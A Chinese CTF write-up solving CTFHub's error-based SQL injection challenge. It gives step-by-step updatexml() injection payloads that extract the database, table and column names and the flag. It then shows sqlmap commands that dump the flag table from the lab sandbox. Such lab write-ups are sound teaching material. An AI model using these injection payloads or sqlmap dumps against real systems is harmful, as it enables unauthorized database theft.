CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
蓝眸少年CY8 分钟前
(第十五篇)spring cloud之Sentinel实现熔断与限流
数据库·spring cloud·sentinel
snow@li11 分钟前
数据库-Oracle:常用语法 / Oracle 核心知识技能梳理
数据库·redis·缓存
qq_3926906613 分钟前
如何处理MongoDB分片集群的连接池耗尽危机_客户端连接与mongos到shard的连接乘数效应
jvm·数据库·python
叶小鸡13 分钟前
Java 篇-项目实战-天机学堂(从0到1)-day8
数据库·oracle
qq_3721542313 分钟前
Python异步爬虫如何应对封IP_结合asyncio与代理池实现轮询请求
jvm·数据库·python
abc123456sdggfd15 分钟前
php怎么处理跨域请求_php如何设置header解决跨域问题详解
jvm·数据库·python
SQL必知必会17 分钟前
SQL 数据分析入门:如何把业务问题翻译成 SQL 查询
大数据·sql·数据分析
zhangchaoxies18 分钟前
如何在CSS中正确加载本地JPG背景图片
jvm·数据库·python
阿坤带你走近大数据19 分钟前
Oracle报错-锁问题
数据库·oracle
旺仔小拳头..23 分钟前
JDBC 基础: API、SQL 注入问题,事务、连接池
数据库·sql